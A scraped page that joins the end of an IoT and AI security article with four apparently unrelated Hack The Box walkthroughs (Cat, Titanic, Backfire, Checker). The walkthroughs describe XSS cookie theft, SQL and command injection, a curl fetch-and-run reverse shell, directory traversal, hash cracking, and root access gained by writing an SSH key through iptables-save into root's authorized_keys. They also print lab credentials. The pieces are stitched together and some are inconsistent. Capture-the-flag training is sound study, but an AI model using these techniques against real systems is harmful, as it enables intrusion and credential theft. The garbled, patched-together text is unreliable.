IoT devices themselves have become valuable assets in this underworld marketplace. On the dark web, the value of a compromised device is often greater than the retail price of the device itself. Upon examining one of the numerous Telegram channels used for trading dark web products and services, one can come across scam pages, tutorials covering various malicious activities, harmful configuration files with βhow-toβsβ, SSH crackers, and more. Essentially, a complete assortment of tools, from hacking resources to anonymization services, for the purpose of capitalizing on compromised devices can be found on the dark web. Furthermore, vast quantities of sensitive data are bought and sold there everyday.
AIβs dark capabilities
Adversarial machine learning can be used to attack, deceive and bypass machine learning systems. The combination of IoT and AI has driven dark web-originated attacks to unprecedented levels. This is what we are seeing:
Automated exploitation:Β AI algorithms automate the process of scanning for vulnerabilities and security flaws with subsequent exploitation methods. This opens doors to large-scale attacks with zero human interaction.
Adaptive attacks:Β With AI, attackers can now adjust their strategies in real-time by analyzing the responses and defenses encountered during an attack. This ability to adapt poses a significant challenge for traditional security measures in effectively detecting and mitigating IoT threats.
Behavioral analysis: AI-driven analytics enables the examination of IoT devices and user behavior, allowing for the identification of patterns, anomalies, and vulnerabilities. Malicious actors can utilize this capability to profile IoT devices, exploit their weaknesses, and evade detection from security systems.
Adversarial attacks:Β Adversarial attacks can be used to trick AI models and IoT devices into making incorrect or unintended decisions, potentially leading to security breaches. These attacks aim to exploit weaknesses in the systemβs algorithms or vulnerabilities.
Zero-tolerance security
The convergence of IoT and AI brings numerous advantages, but it also presents fresh challenges. To enhance IoT security and device resilience while safeguarding sensitive data, across the entire IoT supply chain, organizations must implement comprehensive security measures based on zero-tolerance principles.
Factors such as data security, device security, secure communication, confidentiality, privacy, and other non-functional requirements like maintainability, reliability, usability and scalability highlight the critical need for security controls within IoT devices. Security controls should include elements like secure communication, access controls, encryption, software patches, device hardening, etc. As part of the security process, the focus should be on industry standards, such as βsecure by designβ and βsecure by defaultβ, along with the average number of IoT attacks per organization, as broken down by region every week.
Collaborations and alliances within the industry are critical in developing standardized IoT security practices and establishing industry-wide security standards. By integrating dedicated IoT security, organizations can enhance their overall value proposition and ensure compliance with regulatory obligations.
In todayβs cyber threat landscape, numerous geographic regions demand adherence to stringent security standards; both during product sales and while responding to Request for Information and Request for Proposal solicitations. IoT manufacturers with robust, ideally on-device security capabilities can showcase a distinct advantage, setting them apart from their competitors. Furthermore, incorporating dedicated IoT security controls enables seamless, scalable and efficient operations, reducing the need for emergency software updates.
IoT security plays a crucial role in enhancing theΒ Overall Equipment EffectivenessΒ (a measurement of manufacturing productivity, defined as availability x performance x quality), as well as facilitating early bug detection in IoT firmware before official release. Additionally, it demonstrates a solid commitment to prevention and security measures.
By prioritizing dedicated IoT security, we actively contribute to the establishment of secure and reliable IoT ecosystems, which serve to raise awareness, educate stakeholders, foster trust and cultivate long-term customer loyalty. Ultimately, they enhance credibility and reputation in the market. Ensuring IoT device security is essential in preventing IoT devices from falling into the hands of the dark web army.
This article was originally published via the World Economic Forum and has been reprinted with permission.
For more Cyber Talk insights from Antoinette Hodes, please click here. Lastly, to receive stellar cyber insights, groundbreaking research and emerging threat analyses each week,Β subscribe to the CyberTalk.org newsletter.
This write-up details the βCatβ machine from Hack The Box, a Medium-rated Linux challenge.
Objective on Cat Machine
The goal is to complete the βCatβ machine by accomplishing the following objectives:
User Flag:
To obtain the user flag, an attacker first exploits a Stored Cross-Site Scripting (XSS) vulnerability in the user registration form, which allows stealing the administratorβs session cookie. With this stolen session, the attacker accesses the admin panel and exploits an SQL Injection flaw to extract sensitive user credentials from the database. After cracking these credentials, SSH access is gained as a regular user, enabling the retrieval of the user flagβa secret token proving user-level access.
Root Flag:
For the root flag, privilege escalation is performed by finding a vulnerable image processing script owned by the root user. The attacker crafts a malicious image payload that executes unauthorised commands with root privileges. This leads to obtaining a root shellβthe highest level of system accessβallowing capture of the root flag, which confirms full control over the machine.
Reconnaissance and Enumeration on Cat Machine
Establishing Connectivity
I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Parrot OS virtual machine. The target IP address for the Dog machine was 10.10.11.53.
Initial Scanning
To identify open ports and services, I ran an Nmap scan:
Port 22 (SSH): OpenSSH 8.2p1 on Ubuntu 4ubuntu0.11 risks remote code execution if unpatched (e.g., CVE-2021-28041).
Port 80 (HTTP): Apache 2.4.41, vulnerable to path traversal (CVE-2021-41773), redirects to cat.htb, hinting at virtual host misconfigurations.
Web Enumeration:
Perform directory fuzzing to uncover hidden files and directories.
gobusterdir-uhttp://cat.htb-w/opt/common.txt
Letβs perform directory enumeration with Gobuster to identify any potentially useful resources.
Gobuster Output:
Web Path Discovery (Gobuster):
/.git Directory: Exposed Git repository risks source code leakage, revealing sensitive data like credentials or application logic.
/admin.php, /join.php, and Other Paths: Discovered sensitive endpoints may lack authentication, enabling unauthorised access or privilege escalation.
The website features a typical interface with user registration, login, and image upload functionalities, but the presence of an exposed .git directory and accessible admin endpoints indicate significant security vulnerabilities.
Git Repository Analysis with git-dumper
Utilised the git-dumper tool to clone the exposed Git repository by executing the command git-dumper http://cat.htb/.git/ git. Subsequently, employed a Git extraction tool to retrieve critical source code files, including join.php, admin.php, and accept_cat.php, for further analysis.
Within the cloned Git repository, several PHP files were identified, meriting further examination for potential vulnerabilities or insights.
Source Code Analysis and Review on Cat Machine
Source Code Review of accept_cat.php
The accept_cat.php file is intended to let the admin user 'axel' Accept a cat by inserting its name into the accepted_cats table and deleting the corresponding entry from the cats table. The script correctly verifies the userβs session and restricts actions to POST requests, which is good practice. However, it constructs the insertion SQL query by directly embedding the $cat_name variable without any sanitisation or use of prepared statements:
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";$pdo->exec($sql_insert);
This exposes the application to SQL injection attacks, as malicious input in catName could manipulate the query and compromise the database. On the other hand, the deletion query is properly parameterised, reducing risk. To secure the script, the insertion should also use prepared statements with bound parameters. Overall, while session checks and request validation are handled correctly, the insecure insertion query represents a critical vulnerability in accept_cat.php.
Vulnerability Review of admin.php
This admin page lets the user βaxelβ manage cats by viewing, accepting, or rejecting them. It correctly checks if the user is logged in as βaxelβ before allowing access and uses prepared statements to fetch cat data from the database safely. The cat details are displayed with proper escaping to prevent cross-site scripting attacks.
However, the page sends AJAX POST requests to accept_cat.php and delete_cat.php without any protection against Cross-Site Request Forgery (CSRF). This means an attacker could potentially trick the admin into performing actions without their consent. Also, based on previous code, the accept_cat.php script inserts data into the database without using prepared statements, which can lead to SQL injection vulnerabilities.
To fix these issues, CSRF tokens should be added to the AJAX requests and verified on the server side. Additionally, all database queries should use prepared statements to ensure user input is handled securely. While the page handles session checks and output escaping well, the missing CSRF protection and insecure database insertion are serious security concerns.
Security Audit of view_cat.php
The view_cat.php script restricts access to the admin user 'axel' and uses prepared statements to safely query the database, preventing SQL injection. However, it outputs dynamic data such as cat_name, photo_path, age, birthdate, weight, username, and created_at directly into the HTML without escaping. This creates a Cross-Site Scripting (XSS) vulnerability because if any of these fields contain malicious code, it will execute in the adminβs browser.
To mitigate this, all output should be passed through htmlspecialchars() to encode special characters and prevent script execution. Additionally, validating the image src attribute is important to avoid loading unsafe or external resources. Without these measures, the page remains vulnerable to XSS attacks.
Input Validation Analysis of join.php
The provided PHP code is vulnerable to several security issues, primarily due to improper input handling and weak security practices. Below is an explanation of the key vulnerabilities, followed by the relevant code snippets:
Cross-Site Scripting (XSS): The code outputs $success_message and $error_message without sanitisation, making it susceptible to XSS attacks. User inputs (e.g., $_GET['username'], $_GET['email']) are directly echoed, allowing malicious scripts to be injected.
Insecure Password Storage: Passwords are hashed using MD5 (md5($_GET['password'])), which is cryptographically weak and easily cracked.
$password = md5($_GET['password']);
SQL Injection Risk: While prepared statements are used, the code still processes unsanitized $_GET inputs, which could lead to other injection vulnerabilities if not validated properly.
Insecure Data Transmission: Using $_GET for sensitive data like passwords, exposing them in URLs risks interception.
To mitigate these, use htmlspecialchars() for output, adopt secure hashing (e.g., password_hash()), validate inputs, and use $_POST for sensitive data.
Workflow Evaluation of contest.php
The PHP code for the cat contest registration page has multiple security flaws due to weak input handling and poor security practices. Below are the key vulnerabilities with relevant code snippets:
Cross-Site Scripting (XSS): The $success_message and $error_message are output without sanitization, enabling reflected XSS attacks via crafted POST inputs (e.g., cat_name=<script>alert(βXSSβ)</script>).
<?php if ($success_message): ?> <divclass="message"><?phpecho$success_message; ?></div><?php endif; ?><?php if ($error_message): ?> <divclass="error-message"><?phpecho$error_message; ?></div><?php endif; ?>
Weak Input Validation: The regex (/[+*{}β,;<>()\\[\\]\\/\\:]/) in contains_forbidden_content is too permissive, allowing potential XSS or SQL injection bypasses.
To mitigate, sanitize outputs with htmlspecialchars(), use stricter input validation (e.g., FILTER_SANITIZE_STRING), sanitize file names, restrict upload paths, and validate file contents thoroughly.
User Registration and Login
Clicking the contest endpoint redirects to the join page, which serves as the registration page.
Letβs create a new account by completing the registration process.
The registration process was completed successfully, confirming that new user accounts can be created without errors or restrictions.
Logging in with the credentials we created was successful.
After a successful login, the contest page is displayed as shown above.
Letβs complete the form and upload a cat photo as required.
Successfully submitted the cat photo for inspection.
Exploiting XSS to Steal Admin Cookie for Cat Machine
Initialise the listener.
Injected a malicious XSS payload into the username field.
Letβs create a new account by injecting malicious XSS code into the Username field while keeping all other inputs valid.
Letβs fill out the form with normal inputs as before.
The process may take a few seconds or minutes, depending on the response time. I have attempted multiple times to ensure it works successfully.
Used Firefox Dev Tools to set the cookie and gain access to admin features
Once we obtain the token hash, we need to copy and paste it into Firefoxβs inspector to proceed further.
After that, simply refresh the page, and you will notice a new βAdminβ option has appeared in the menu bar.
Clicking the Admin option in the menu bar redirects us to the page shown above.
Click the accept button to approve the submitted picture.
Leveraging XSS Vulnerability to Retrieve Admin Cookie for Cat Machine
Used Burp Suite to analyze POST requests.
Use Burp Suite to examine network packets for in-depth analysis.
Test the web application to determine if it is vulnerable to SQL injection attacks.
Attempting to inject the SQL command resulted in an βaccess deniedβ error, likely due to a modified or invalid cookie.
SQL Injection and Command Execution
After reconstructing the cookie, the SQL injection appears to function as anticipated.
Successfully executed command injection.
We can use the curl command to invoke the malicious file and execute it. The fact that itβs hanging is promising, indicating potential success.
It was observed that bash.sh has been transferred to the victimβs machine.
Success! A shell was obtained as the www-data user.
Database Enumeration
Itβs unusual to find cat.db while searching for the database file.
Transfer the SQL file to our local machine.
We discovered that cat.db is a SQLite 3.x database.
sqlite3 cat.db opens the cat.db file using the SQLite command-line tool, allowing you to interact with the databaseβrun queries, view tables, and inspect its contents.
The cat.db database contains three tables: accepted_cats, cats, and users, which likely stores approved cat entries, general cat data, and user information, respectively.
Immediate cracking is possible for some obtained hashes.
The screenshot shows the hashes after I rearranged them for clarity.
Breaking Password Security: Hashcat in Action
We need to specify the hash mode, which in this case could be MD5.
We successfully cracked the hash for the user Rosa, revealing the password: soyunaprincesarosa.
Boom! We successfully gained access using Rosaβs password.
The access.log file reveals the password for Axel.
The user Axel has an active shell account.
The credentials for Axel, including the password, were verified successfully.
Access is achievable via either pwncat-cs or SSH.
Executing the appropriate command retrieves the user flag.
Escalate to Root Privileges Access on Cat Machine
Privilege Escalation
The Axel user does not have sudo privileges on the cat system.
Email Analysis
We can read the message sent from Rosa to Axel.
The emails are internal updates from Rosa about two upcoming projects. In the first message, Rosa mentions that the team is working on launching new cat-related web services, including a site focused on cat care. Rosa asks Axel to send details about his Gitea project idea to Jobert, who will evaluate whether itβs worth moving forward with. Rosa also notes that the idea should be clearly explained, as she plans to review the repository herself. In the second email, Rosa shares that theyβre building an employee management system. Each department admin will have a defined role, and employees will be able to view their tasks. The system is still being developed and is hosted on their private Gitea platform. Rosa includes a link to the repository and its README file, which has more information and updates. Both emails reflect early planning stages and call for team involvement and feedback.
Checking the machineβs open ports reveals that port 3000 is accessible.
Therefore, we need to set up port forwarding for port 3000.
Gitea Exploitation on Cat Machine
The service running on port 3000 is the Gitea web interface.
Using Axelβs credentials, we successfully logged in.
Gitea service is running version 1.22.0, which may contain specific features and known vulnerabilities relevant for further evaluation.
Start the Python server to serve files or host a payload for the next phase of the assessment.
Inject the XSS payload as shown above.
The fake email is sent to the user jobert to test the functionality.
Obtained a base64-encoded cookie ready for decoding.
The decoded cookie appears to contain the username admin.
This PHP script enforces HTTP Basic Authentication by verifying the clientβs username and password against predefined valid credentials: the username βadminβ and the password βIKw75eR0MR7CMIxhH0.β Upon receiving a request, the script checks for authentication headers and validates them. If the credentials are missing or incorrect, it responds with a 401 Unauthorised status and prompts the client to authenticate within the βEmployee Managementβ realm.
The password discovered grants root access and functions as an administrator password on Windows machines.
Executing the appropriate command retrieves the root flag.
In this write-up, we will explore the Titanic machine from Hack The Box, categorised as an Easy difficulty challenge. This walkthrough will cover reconnaissance, exploitation, and privilege escalation steps required to capture the user and root flags.
Objective on Titanic
The goal of this walkthrough is to complete the Titanic machine from Hack The Box by achieving the following objectives:
User Flag
We obtained the user flag by exploiting a directory traversal vulnerability in the web applicationβs download endpoint. This allowed us to access the Gitea configuration file and database, from which we extracted and cracked the developer userβs password hash. Using the credentials, we gained SSH access as the developer user and retrieved the user.txt flag.
Root Flag
Privilege escalation to root involved exploiting a vulnerable ImageMagick version (CVE-2024-41817) in a script that processed files in a writable directory. By crafting a malicious shared library, we executed arbitrary commands to copy the root flag to a readable location. Additionally, we discovered the developer user had unrestricted sudo privileges, providing an alternative path to root access and the root.txt flag.
Enumerating the Machine
Reconnaissance: Nmap Scan
We begin by scanning the target to identify open ports and services using Nmap:
ββ[dark@parrot]β[~/Documents/htb/titanic]ββββΌ$nmap-sC-sV-oAinitial10.10.11.55# Nmap 7.94SVN scan initiated Wed Jun 18 11:46:00 2025 as: nmap -sC -sV -oA initial 10.10.11.55Nmapscanreportfor10.10.11.55Hostisup (0.18s latency).Notshown:998closedtcpports (conn-refused)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.9p1Ubuntu3ubuntu0.10 (Ubuntu Linux; protocol2.0)| ssh-hostkey:| 25673:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)|_256d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)80/tcpopenhttpApachehttpd2.4.52|_http-title:Didnotfollowredirecttohttp://titanic.htb/|_http-server-header:Apache/2.4.52 (Ubuntu)ServiceInfo:Host:titanic.htb; OS:Linux; CPE:cpe:/o:linux:linux_kernelServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Wed Jun 18 11:46:33 2025 -- 1 IP address (1 host up) scanned in 33.24 seconds
Analysis:
22/tcp (SSH): Potential foothold via credentialed access or post-exploitation pivot through OpenSSH 8.9p1.
80/tcp (HTTP): Primary attack surface β Titanic Booking System web app may expose vulnerabilities for initial compromise.
Web Enumeration on Titanic Machine
Web Application Exploration
Visiting http://titanic.htb displays a booking form on the main page.
Letβs proceed to book our trip using the form shown above.
The screenshot above shows the request and response captured in Burp Suite.
I noticed that in the previous response packet, there was a /download?ticket=*.json file, which provided information about the earlier booking
Testing the endpoint revealed it is vulnerable to directory traversal, allowing access to sensitive files such as /etc/passwd
We were also able to retrieve the user.txt file using this method.
We can also access the /etc/hosts file, which reveals an additional subdomain.
By exploiting the directory traversal vulnerability through the request http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini, We successfully retrieved the Gitea configuration file (app.ini), which disclosed the path to the database located at /home/developer/gitea/data/gitea/gitea.db
We located the database at the path revealed above
Letβs retrieve the database.
The hashes can be viewed in DB Browser for SQLite, where I found only two users with hashes stored.
Each line contains a scrambled version of a userβs password. The system uses a method called SHA256 and scrambles the password 50,000 times to make it tougher for anyone to guess. The hash format will resemble the example shown above.
To figure out the actual password, we use a tool named Hashcat. It tries lots of different passwords, scrambles them the same way, and checks if any match the scrambled version we have. When it finds a match, that means it has discovered the original password.
Understanding PBKDF2-SHA256: How Passwords Are Securely Protected
The cracked hash belongs to the developer account. The password is protected using something called PBKDF2-SHA256 with 50,000 rounds. That means the password is scrambled and mixed up 50,000 times to make it really hard for anyone to guess or crack it quickly. This process slows down attackers a lot, so even if they try many passwords, it takes a long time to check each one. Itβs a way to keep passwords safe and secure.
After a period of processing, the hash was successfully cracked.
The successfully cracked hash corresponds to the developer account.
With the credentials, we establish an SSH connection
We can retrieve the user flag by executing the command above.
Escalate to Root Privileges Access on Titanic Machine
Privilege Escalation
As a standard practice, we check for binaries with elevated privileges by running sudo -l. Sadly, we did not find any binaries with elevated privileges.
Additionally, the process list (ps -ef) did not reveal any useful information.
We proceed to enumerate the contents of the /opt directory.
During system enumeration, we identified a script located at /opt/scripts/identify_images.sh that utilises ImageMagick to process files within /opt/app/static/assets/images/, a directory writable by the developer user. Verification of the ImageMagick version confirmed it is susceptible to CVE-2024-41817, a vulnerability that enables arbitrary code execution through malicious shared libraries.
CVE-2024-41817 Explained: How ImageMagickβs Flaw Enables Code Execution
CVE-2024-41817 is a critical vulnerability found in certain versions of ImageMagick, a widely used image processing software. This flaw allows attackers to execute arbitrary code on the system by tricking ImageMagick into loading malicious shared libraries during image processing. Exploiting this vulnerability can lead to full system compromise, especially if the software runs with elevated privileges or processes files in writable directories.
The script identify_image.sh failed to write to metadata.log due to insufficient permissions (Permission denied on line 3).
I discovered that ImageMagick is installed on the target machine. ImageMagick is a free, open-source software suite widely used for editing and manipulating digital images. It enables users to create, edit, compose, or convert bitmap images and supports numerous file formats, including JPEG, PNG, GIF, TIFF, and Ultra HDR.
I identified that ImageMagick version 7.1.1-35 is installed on the machine. I researched known vulnerabilities for this specific version and discovered it is affected by CVE-2024-41817.
CVE-2024-41817 impacts ImageMagick β a free, open-source software suite for editing and manipulating digital images. The vulnerability arises in the AppImage version, where ImageMagick may use an empty path when setting the MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH environment variables during execution. This flaw can allow an attacker to execute arbitrary code by loading malicious configuration files or shared libraries from the current working directory.
After some time, we crafted a bash reverse shell command.
After that, we started a listener to capture the incoming reverse shell connection.
In this write-up, we will explore the βBackfireβ machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βBackfireβ machine from Hack The Box by achieving the following objectives:
User Flag:
We obtained the user flag by exploiting two vulnerabilities in the Havoc C2 framework. First, we leveraged a Server-Side Request Forgery (SSRF) vulnerability (CVE-2024-41570) to interact with internal services.. This was chained with an authenticated Remote Code Execution (RCE) vulnerability, allowing execution of arbitrary commands and gaining a reverse shell as the ilya user. To maintain a more stable connection, SSH keys were generated and authorised, which provided reliable access to the system and allowed for the retrieval of the user.txt flag.
Root Flag:
Privilege escalation to root involved targeting the Hardhat C2 service. Using a Python script, we forged a valid JWT token to create a new administrative user. This access allowed us to obtain a reverse shell as the sergej user. Upon further examination, it was discovered that sergej it had sudo privileges on the iptables-save binary. This was abused to overwrite the /etc/sudoers file, granting full root access. With root privileges, the root.txt flag was successfully retrieved.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
22/tcp (SSH): This port is running OpenSSH 9.2p1 on Debian 12. Although no credentials are currently available, it could later serve as a valuable post-exploitation entry point once initial access is established.
443/tcp (HTTPS): On the other hand, this port runs Nginx with a self-signed certificate issued for 127.0.0.1. Because it returns a 404 error, it is likely intended for internal use or is misconfigured. Therefore, it may be useful for SSRF exploitation or internal routing if accessible.
8000/tcp (HTTP): Most notably, this port reveals a directory listing containing two files: disable_tls.patch and havoc.yaotl. These files are likely related to the Havoc C2 framework. Additionally, Nmap indicates potential open proxy behavior, which could be leveraged for internal access or lateral movement.
Web Enumeration on Backfire Machine:
Web Application Exploration:
Opening the IP in the browser simply displays a 404 error from Nginx, with no useful information on the main page.
The files havoc.yaotl and disable_tls.patch is available for download. Letβs examine their contents to understand their relevance.
The disable_tls.patch file removes encryption from the Havoc C2 WebSocket on port 40056, switching from secure (wss://) to insecure (ws://) communication. A comment suggests someone framed Sergej as inactive, claiming local-only access made the change safe. Although it may seem beneficial in theory, in practice, it significantly undermines internal security. Moreover, such behaviour could potentially indicate deliberate sabotage.
This configuration sets up a control server running only on the local machine (127.0.0.1) using port 40056. It defines two users, βilyaβ and βsergej,β each with their passwords. The system frequently runs background tasks every few seconds. Additionally, the system uses Windows Notepad as a placeholder program during certain operations. Furthermore, it listens for incoming connections securely on port 8443; however, it accepts connections only from the local machine. Consequently, the environment remains tightly controlled.
What is Havoc?
Cybersecurity teams use Havoc to test and improve security. As a result, it helps teams control computers theyβve gained access to during testing by sending commands and, in turn, receiving information back.. Created and maintained by Paul Ungur (C5pider).
It has two parts:
The Teamserver acts like a central hub, managing all connected computers and tasks. It usually runs on a server accessible to the team.
The Client is the user interface where the team controls everything and sees the results.
Exploitation on the Backfire machine
Create a reverse shell script (e.g., shell.sh), using any filename of your choice.
Initiate the listener to await incoming connections.
Download the exploit script to your machine using the link here
Launch the Python HTTP server to serve the necessary files.
The script imports required libraries and disables urllib3 warnings. It defines a decrypt() function that pads the key to 32 bytes and decrypts data using AES CTR mode.
This injection is inserted into the Service Name field within another JSON payload. The system serialises the payload, frames it, and sends it via WebSocket.
This exploits a command injection vulnerability, enabling remote code execution.
This Python script demonstrates a remote code execution (RCE) exploit targeting a vulnerable Havoc C2 server. It mimics a legitimate agent registering with the server, establishes a socket connection, and communicates over WebSocket using Havocβs internal protocol.
The script first injects a malicious payload into the server configuration by exploiting weak input handling. As a consequence of the vulnerability, it can execute arbitrary shell commands on the Teamserver. This, in turn, may allow an attacker to gain full control over the system.
We created a payload that fetches and runs a shell script using curl. The command is injected into the Service Name field to trigger remote code execution on the target system.
First, this injection is placed inside a JSON object, which is then converted into a WebSocket frame. After that, we send the crafted payload over an existing socket connection to the server.
The payload exploits a weakness in how the server handles service names, giving us remote code execution.
This command downloads and runs a shell script from the attackerβs machine, effectively granting remote access. The code serialises the payload to JSON, wraps it in a WebSocket frame, and sends it to the server over an established socket, bypassing standard defences and triggering code execution within the server context.
A specially crafted WebSocket request triggers the RCE vulnerability. Next, the following command demonstrates how to run the exploit:
Port 40056 is the Havoc Teamserverβs listening port. Targeting it lets you reach the internal WebSocket service that handles commands, enabling remote code execution through the vulnerability.
We completed the file transfer as demonstrated above.
We successfully established a reverse shell connection back to us.
The user flag can be retrieved by executing the command cat user.txt.
Escalate to Root Privileges Access on Backfire Machine
Privilege Escalation:
A message found on the target indicates that Sergej installed HardHatC2 for testing and left the configuration at its default settings. It also humorously suggests a preference for Havoc over HardHatC2, likely to avoid learning another C2 framework. The note ends with a lighthearted remark favouring Go over C#, hinting at the authorβs language preference.
Since the reverse shell kept dropping, we had to switch over and continue access via SSH instead.
Created an SSH key ssh-keygen and added the public key to backfireβs authorized_keys to gain access without relying on an unstable reverse shell.
Above is a screenshot showing the backfire.pub file, which we can transfer by copying it directly to the target machine.
This method demonstrates how to paste the file onto the target machine.
The SSH key id_rsa is unexpectedly resulting in a βpermission denied (publickey)β error.
Accordingly, we will generate the SSH key directly on the victimβs machine.
You can extract the key from the victimβs machine and securely transfer it to our system.
Initially, we attempted to access the machine via SSH; however, it requires ED25519 key authentication.
We will generate the id_ed25519 public key and set its permissions to 600.
The key is added to the victimβs machine.
Therefore, we can gain SSH access using the id_ed25519 key.
Unfortunately, no SUID binaries are accessible since they require a password, which we do not possess.
Port-Forwarding the port
After further inspection, we identified several open ports; notably, ports 7096 and 5000 drew particular attention due to their potential relevance.
Although both ports 5000 and 7096 appear filtered according to the Nmap scan, we will attempt port forwarding to probe their accessibility from the internal network.
Accessing port 5000 yielded no visible response or content.
Accessing the service on Port 7096 requires credentials, which are currently unavailable.
We successfully created a user account with the username and password set to βdarkβ.
Successfully accessed the HardHat C2 dashboard.
Navigate to the βTerminalβ tab within the implantInteract section.
We can perform a test by executing the id command.
Surprisingly, it worked flawlessly.
Add the SSH id_ed25519 public key to Sergejβs authorized_keys file to enable secure access.
Impressive! The operation was successful.
Finally, we have successfully accessed Sergejβs account using the SSH id_ed25519 key.
Once logged in through SSH, run sudo -l to identify which commands can be executed with elevated privileges. It shows that sudo users have permission to run iptables and iptables-save.
This method takes advantage of how line wrapping works in command comments to inject an SSH key with root privileges. By adding a specially crafted comment containing the SSH key to an iptables rule and then exporting the rules to the root userβs authorized_keys file, you can grant SSH access as root:
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 ssh key\n'sudo iptables-save -f /root/.ssh/authorized_keys
We successfully gained root access using the SSH id_ed25519 key.
The root flag can be retrieved by executing the command cat root.txt.
In this write-up, we will explore the βCheckerβ machine from Hack The Box, categorised as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective of Checker:
The goal of this walkthrough is to complete the βCheckerβ machine from Hack The Box by achieving the following objectives:
User Flag:
We exploited CVE-2023-1545 in the Teampass application to extract password hashes and cracked them to obtain credentials for the user βbob.β These credentials allowed access to both the BookStack web application and SSH. We then exploited CVE-2023-6199 in BookStack to read the OTP secret for the SSH user βreader,β enabling successful login and retrieval of the user flag.
Root Flag:
We discovered that the βreaderβ user had sudo privileges to run a script that interacted with shared memory. By analysing the script behaviour and injecting a command into the shared memory segment, we were able to set the SUID bit on /bin/bash. This grants root privileges, allowing us to read the root flag
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap-sC-sV-oNnmap_initial.txt10.10.11.56
Nmap Output:
ββ[dark@parrot]β[~/Documents/htb/checker]ββββΌ$nmap-sV-sC-oAinitial10.10.11.56# Nmap 7.94SVN scan initiated Thu May 29 00:05:33 2025 as: nmap -sV -sC -oA initial 10.10.11.56Nmapscanreportfor10.10.11.56Hostisup (0.23s latency).Notshown:997closedtcpports (conn-refused)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.9p1Ubuntu3ubuntu0.10 (Ubuntu Linux; protocol2.0)| ssh-hostkey:| 256aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)|_2568f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)80/tcpopenhttpApachehttpd|_http-server-header:Apache|_http-title:403Forbidden8080/tcpopenhttpApachehttpd|_http-server-header:Apache|_http-title:403ForbiddenServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Thu May 29 00:06:28 2025 -- 1 IP address (1 host up) scanned in 55.98 seconds
Analysis:
Port 22 (SSH): OpenSSH 8.9p1 is running, providing secure remote shell access. This is typical for administrative management over the network.
Port 80 (HTTP): Apache web server is active but responds with a 403 Forbidden status, indicating that access to the root web directory is denied or restricted.
Port 8080 (HTTP): Another instance of Apache is running on this alternative HTTP port, also returning a 403 Forbidden response, which could hint at restricted access to a secondary web application or interface.
Web Enumeration on Checker machine:
Perform web enumeration to discover potentially exploitable directories and files.
During the enumeration process, we observed that the server returns a 403 Forbidden status code along with a consistent response length (199 bytes) for URLs that do not exist. This uniform response can interfere with the accurate detection of valid endpoints, as it mimics the behaviour of non-existent pages. To proceed effectively, we should configure our tool to exclude responses with this status code or length to reduce false positives.
Analysis:
During the enumeration phase, more than 20 directories were discovered, although only a portion is listed here due to space limitations. Each of the directories responded with a 429 status code, indicating the server is applying rate-limiting measures, likely to deter aggressive or automated scanning. Some of the identified directories, such as /app, /report, /store, and /db could potentially relate to application logic, data storage, or admin interfaces. This behaviour suggests the underlying application might be sensitive to traffic volume, so further inspection should be paced to avoid triggering additional restrictions.
Accessing the website via 10.10.11.56 redirects us to the domain βchecker.htbβ.
We discovered that the application in use is BookStack. Unfortunately, we didnβt have any valid credentials to log in to BookStack at this stage.
What is BookStack?
BookStack is a free and open-source platform used to create and manage documentation or internal knowledge bases. Think of it like a digital bookshelf where each book contains pages of organised information. Teams or companies commonly use it to store guides, manuals, and notes in a user-friendly way, similar to how youβd organise content in a physical notebook, but online and searchable.
On port 8080, we were presented with the Teampass login page.
What is TeamPass?
Teampass is a web-based password management system designed for teams and organisations. It helps securely store and share login credentials, such as usernames and passwords, in a single, central location. Instead of keeping sensitive information in unprotected files or messages, Teampass allows team members to access and manage passwords through a secure, organised interface. This makes collaboration safer and more efficient, especially when multiple people need access to the same accounts or systems.
To gain a better understanding of the Teampass application, we analysed its source code available on GitHub.
One of the files caught my attention and warranted a deeper analysis.
This script is a setup routine for Teampass, designed to run when the application first starts. It checks if the Teampass code has already been initialised (by looking for a .git folder). If not, it pulls the necessary files from a remote repository, prepares directories needed for logs and encryption keys, and sets file permissions so the web server (nginx) can use them. Then, it checks if the main configuration file exists. If the file is missing, the script prompts the user to open Teampass in a web browser to complete the setup. Finally, it hands over control to start the application.
Another file that caught our attention is readme.md, which reveals the version of Teampass being usedβversion 3.
So, letβs investigate any exploits or vulnerabilities related to Teampass version 3.
Exploitation
Exploitation of CVE-2023-1545 in the Teampass Application
We can download the source code from GitHub onto our machine.
I renamed the file to poc.py and executed it, which revealed usernames along with their hashes.
We need to specify the appropriate hash mode.
After some time, we successfully retrieved the passwords from the hashes, including one for the user βbobβ with the hash $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy, which corresponded to the password βcheerleader.β
Letβs use the credentials we discovered earlier to log in to Teampass.
There is access for the user βbob,β which allows login to both BookStack and SSH.
For BookStack, the login details are username bob@checker.htb with the password mYSeCr3T_w1kI_P4sSw0rD.
For SSH access, the username is reader and the password is hiccup-publicly-genesis.
We attempted to access the system as Bob via SSH, but the login failed with the error message: βOperation not permittedβ while writing the config.
BookStack Enumeration
Letβs log into the BookStack dashboard using the Bob credentials we obtained earlier.
